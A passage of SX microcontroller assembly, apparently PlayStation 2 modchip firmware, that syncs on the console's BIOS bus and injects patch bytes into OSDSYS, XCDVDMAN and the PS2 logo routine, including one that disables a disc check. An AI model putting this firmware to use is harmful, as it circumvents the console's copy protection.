; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- OSDSYS_BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 ; 0 retw $80 ; 1 retw $ac ; 2 retw $c ; 3 retw $0 ; 4 retw $0 ; 5 retw $0 ; 6 ;VX retw $24 ; 7 retw $10 ; 8 retw $3c ; 9 retw $e4 ; 10 retw $24 ; 11 retw $80 ; 12 retw $ac ; 13 retw $e4 ; 14 retw $22 ; 15 retw $90 ; 16 retw $ac ; 17 retw $84 ; 18 retw $bc ; 19 mov w,#79;$4f ; 20 mov VAR_DC3,w ; 21 ;;79 ; #### ber jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 22 ;V9 retw $24 ; 23 retw $10 ; 24 retw $3c ; 25 retw $74 ; 26 retw $2a ; 27 retw $80 ; 28 retw $ac ; 29 retw $74 ; 30 retw $28 ; 31 retw $90 ; 32 retw $ac ; 33 retw $bc ; 34 retw $d3 ; 35 mov w,#79;$4f ; 36 mov VAR_DC3,w ; 37 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 38 ;V14 retw $24 ; 39 ;; +8 = 47 retw $10 ; 40 retw $3c ; 41 retw $78 ; 42 retw $2d ; 43 retw $80 ; 44 retw $ac ; 45 retw $40 ; 46 retw $2b ; 47 retw $90 ; 48 retw $ac ; 49 retw $a0 ; 50 retw $ff ; 60 mov w,#79;$4f ; 61 mov VAR_DC3,w ; 62 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 63 ;V10-12 retw $24 ; 64 ;; 39 +8 = 47 retw $10 ; 65 retw $3c ; 66 retw $e4 ; 67 retw $2c ; 68 retw $80 ; 69 retw $ac ; 70 retw $f4 ; 71 retw $2a ; 72 retw $90 ; 73 retw $ac ; 74 snb V12_FLAG ; 75 jmp V12_CONSOLE_20_BIOS_JMP ; 76 mov w,#70;$46 ; 77 mov VAR_DC3,w ; 78 ;; 54 + 16 = 70 retw $a4 ; 79 retw $ec ; 80 mov w,#79;$4f ; 81 mov VAR_DC3,w ; 82 ;; 63 + 16 = 79 jmp OSDSYS_BIOS_PATCH_DATA_PART2_ALL ; 83 ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d ; 84 mov VAR_DC3,w ; 85 ;; 61 + 16 = 77 retw $c ; 86 retw $f9 ; 87 ;LOAD_END OSDSYS_BIOS_PATCH_DATA_PART2_ALL retw $91 ; 88 ;; 63 + 8 = 71 ;;79 retw $34 ; 89 retw $0 ; 90 retw $0 ; 91 retw $30 ; 92 retw $ae ; 93 retw $c ; 94 retw $0 ; 95 retw $0 ; 96 retw $0 ; 97 ;LOAD_PSX1D retw $c7 ; 98 ;; 73 retw $2 ; 99 retw $34 ; 100 retw $19 ; 101 retw $19 ; 102 retw $e2 ; 103 retw $ba ; 104 retw $11 ; 105 retw $19 ; 106 retw $e2 ; 107 retw $ba ; 108 ;V14 jmp back retw $3c ; 109 ;; 71 + 8 = 79 retw $c7 ; 110 ;; 73 retw $2 ; 111 retw $34 ; 112 IFDEF NTSCPS1YFIX75K retw $29 ; 113 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ; 113 ;19pal/29ntsc yfix pal console ENDIF retw $19 ; 114 retw $c2 ; 115 retw $bb ; 116 IFDEF NTSCPS1YFIX75K retw $21 ; 117 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ; 117 ;11pal/21ntsc yfix pal console ENDIF retw $19 ; 118 retw $c2 ; 119 retw $bb ; 120 retw $60 ; 121 retw $9 ; 122 retw $8 ; 123 retw $8 ; 124 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS1DRV_PATCHLOAD_v14 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp LOAD_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_OSDSYS_BIOS_PATCH_DATA mov w,VAR_DC3 call OSDSYS_BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 ; VAR_DC3 starting point and increased as retw and steps decsz VAR_DC1 ; VAR_DC1 lenght of patch to load decresing as retw jmp LOAD_OSDSYS_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) OSDSYS_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP1 OSDSYS_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP3 OSDSYS_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC OSDSYS_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP5 OSDSYS_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$10;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 OSDSYS_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P2 OSDSYS_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P3 ;:loop66 OSDSYS_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4 OSDSYS_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp OSDSYS_BIOS_PATCH_SYNC_P3 OSDSYS_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w OSDSYS_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp OSDSYS_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS2_PS2LOGO:back ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV LOAD_PATCH_DEV1_STACK mov w,#$17;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp OSDSYS_BIOS_PATCH_SYNC SET_V14DRV mov w,#$1f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$2b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$2f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$35;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$37;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_OSDSYS_BIOS_PATCH_DATA ELSE ;SETUPDEV LOAD_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp OSDSYS_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_OSDSYS_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- IS_XCDVDMANX page $0000 ; PAGE1 call SET_INTRPT IS_XCDVDMAN snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#200;100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS IS_XCDVDMAN:loop4 mov w,#255;$ff mov VAR_DC3,w IS_XCDVDMAN:loop3 mov w,#255;$ff mov VAR_DC2,w IS_XCDVDMAN:loop2 mov w,#255;$ff mov VAR_DC1,w IS_XCDVDMAN:loopx sb IO_BIOS_CS jmp IS_XCDVDMAN:loop1 decsz VAR_DC1 jmp IS_XCDVDMAN:loopx decsz VAR_DC2 jmp IS_XCDVDMAN:loop2 decsz VAR_DC3 jmp IS_XCDVDMAN:loop3 decsz VAR_DC4 jmp IS_XCDVDMAN:loop4 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... IS_XCDVDMAN:loop0 snb IO_BIOS_CS jmp IS_XCDVDMAN:loopx IS_XCDVDMAN:loop1 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp IS_XCDVDMAN:loop0 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 xcdvdman1_l0a snb IO_BIOS_OE jmp xcdvdman1_l0a mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l0a ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp xcdvdman_patch_again ;xcdvdman1_next IFDEF SX48RAM mov w,#$10;15 ELSE mov w,#$15 ENDIF mov fsr,w xcdvdman1_l1 snb IO_BIOS_OE jmp xcdvdman1_l1 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp xcdvdman1_l1 xcdvdman1_l1_P2 sb IO_BIOS_OE jmp xcdvdman1_l1_P2 mov !IO_BIOS_DATA,w xcdvdman_patch snb IO_BIOS_OE jmp xcdvdman_patch page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp IS_XCDVDMAN ;? da verificare !!! ;again xcdvdman_patch_again clrb X_FLAG jmp IS_XCDVDMAN ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 ; 1 retw $3 ; 2 retw $21 ; 3 retw $10 ; 4 retw $0 ; 5 retw $0 ; 6 mov w,#51;$33 ; 7 mov VAR_DC3,w ; 8 sb V14_FLAG ; 9 jmp PS2LOGO_PATCH_not22_JMP1 ; 10 ;v14 mov w,#13;$d ; 11 mov VAR_DC3,w ; 12 retw $40 ; 13 retw $8 ; 14 retw $11 ; 15 retw $3c ; 16 retw $8 ; 17 retw $0 ; 18 retw $32 ; 19 retw $36 ; 20 retw $f8 ; 21 retw $1 ; 22 retw $92 ; 23 retw $ac ; 24 retw $21 ; 25 retw $0 ; 26 retw $40 ; 27 retw $8 ; 28 retw $b ; 29 retw $0 ; 30 retw $32 ; 31 retw $36 ; 32 retw $10 ; 33 retw $0 ; 34 retw $4 ; 35 retw $3c ; 36 retw $18 ; 37 retw $16 ; 38 retw $92 ; 39 retw $ac ; 40 retw $0 ; 41 retw $0 ; 42 retw $4 ; 43 retw $8 ; 44 mov w,#70;$46 ; 45 mov VAR_DC3,w ; 46 snb V14_FLAG ; 47 jmp PS2LOGO_PATCH_22_JMP2 ; 48 ;not v14 patches, how flows? mov w,#51;$33 ; 49 mov VAR_DC3,w ; 50 ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 ; 51 retw $11 ; 52 retw $3c ; 53 retw $c1 ; 54 retw $0 ; 55 retw $32 ; 56 retw $36 ; 57 retw $18 ; 58 retw $16 ; 59 retw $92 ; 60 retw $ac ; 61 retw $c ; 62 retw $0 ; 63 retw $0 ; 64 retw $0 ; 65 LOGO2 retw $0 ; 66 retw $0 ; 67 retw $0 ; 68 retw $0 ; 69 PS2LOGO_PATCH_22_JMP2 ; fix for v14 stablity jmp instead of LOGO2 retw $20 ; 70 retw $38 ; 71 retw $11 ; 72 retw $0 ; 73 retw $0 ; 74 retw $60 ; 75 ;;60 retw $3 ; 76 retw $24 ; 77 retw $0 ; 78 retw $0 ; 79 retw $e2 ; 80 retw $90 ; 81 retw $0 ; 82 retw $0 ; 83 retw $e4 ; 84 retw $90 ; 85 retw $ff ; 86 retw $ff ; 87 retw $63 ; 88 retw $24 ; 89 retw $26 ; 90 retw $20 ; 91 retw $82 ; 92 retw $0 ; 93 retw $0 ; 94 retw $0 ; 95 retw $e4 ; 96 retw $a0 ; 97 retw $fb ; 98 retw $ff ; 99 retw $61 ; 100 retw $4 ; 101 retw $1 ; 102 retw $0 ; 103 retw $e7 ; 104 retw $24 ; 105 ;;42 ;61 ;91 mov w,#117;$75 ; 106 mov VAR_DC3,w ; 107 snb V10_FLAG ; 108 jmp PS2LOGO_PATCH_19_20_JMP1 ; 109 mov w,#112;$70 ; 110 mov VAR_DC3,w ; 111 retw $d0 ; 112 retw $80 ; 113 mov w,#119 ; 114 ;;$77 mov VAR_DC3,w ; 115 jmp PS2LOGO_PATCH_11_17_JMP1 ; 116 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 ; 117 retw $81 ; 118 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 ; 119 retw $af ; 120 retw $2e ; 121 retw $1 ; 122 retw $22 ; 123 retw $92 ; 124 retw $2f ; 125 retw $1 ; 126 retw $23 ; 127 retw $92 ; 128 retw $26 ; 129 retw $10 ; 130 retw $43 ; 131 retw $0 ; 132 retw $1a ; 133 retw $0 ; 134 retw $3 ; 135 retw $24 ; 136 retw $3 ; 137 retw $0 ; 138 retw $43 ; 139 retw $14 ; 140 retw $1 ; 141 retw $0 ; 142 retw $7 ; 143 retw $24 ; 144 mov w,#171;$ab ; 145 mov VAR_DC3,w ; 146 snb V10_FLAG ; 147 jmp PS2LOGO_PATCH_19_20_JMP2 ; 148 mov w,#151 ; 149 ;;$97 mov VAR_DC3,w ; 150 retw $bd ; 151 retw $5 ; 152 retw $4 ; 153 retw $8 ; 154 retw $cc ; 155 retw $80 ; 156 retw $87 ; 157 retw $af ; 158 retw $0 ; 159 retw $0 ; 160 retw $7 ; 161 retw $24 ; 162 retw $bd ; 163 retw $5 ; 164 retw $4 ; 165 retw $8 ; 166 retw $cc ; 167 retw $80 ; 168 retw $87 ; 169 retw $af ; 170 ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af ; 171 retw $5 ; 172 retw $4 ; 173 retw $8 ; 174 retw $4c ; 175 retw $81 ; 176 retw $87 ; 177 retw $af ; 178 retw $0 ; 179 retw $0 ; 180 retw $7 ; 181 retw $24 ; 182 retw $af ; 183 retw $5 ; 184 retw $4 ; 185 retw $8 ; 186 retw $4c ; 187 retw $81 ; 188 retw $87 ; 189 retw $af ; 190 ;V14DRV PS1DRV_PATCHLOAD_v14 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp IS_XCDVDMAN PS2_PS2LOGO:loopz clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS2_PS2LOGO:loop4 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS2_PS2LOGO:loop4 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS2_PS2LOGO:patchlogo2 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data PS2_PS2LOGO:patchlogo2 mov w,#87;$57 mov VAR_DC2,w PS2_PS2LOGO:loop4 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS2_PS2LOGO:loop3 mov w,#255;$ff mov VAR_DC3,w PS2_PS2LOGO:loop2 mov w,#255;$ff mov VAR_DC1,w PS2_PS2LOGO:loopx sb IO_BIOS_CS jmp PS2_PS2LOGO:loop1x decsz VAR_DC1 jmp PS2_PS2LOGO:loopx decsz VAR_DC3 jmp PS2_PS2LOGO:loop2 decsz VAR_PSX_BYTE jmp PS2_PS2LOGO:loop3 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp MACRO_CHECK_IF_V9to14 ;sync for all versions using regs :)) PS2_PS2LOGO::loop00x snb IO_BIOS_CS jmp PS2_PS2LOGO:loopx PS2_PS2LOGO:loop1x mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x PS2_PS2LOGO:loop1x_L1 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L1 PS2_PS2LOGO:loop1x_L2 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x PS2_PS2LOGO:loop1x_L3 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L3 PS2_PS2LOGO:loop1x_L4 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x IFDEF SX48RAM mov w,#$16;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS2_PS2LOGO:loop1x_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;3C ELSE mov w,#$3c ENDIF mov fsr,w PS2_PS2LOGO:loop1x_L5 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO:loop1x_L5 PS2_PS2LOGO:loop1x_L6 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L6 mov !IO_BIOS_DATA,w PS2_PS2LOGO:loop snb IO_BIOS_OE jmp PS2_PS2LOGO:loop page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS2_PS2LOGO:patchlogo2 ;patch logo 2 times for V7 only ! PS2_PS2LOGO:back snb PSX_FLAG jmp PS1_LOGO_PATCH setb EJ_FLAG page $0200 jmp IS_XCDVDMAN ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$17;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp OSDSYS_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov 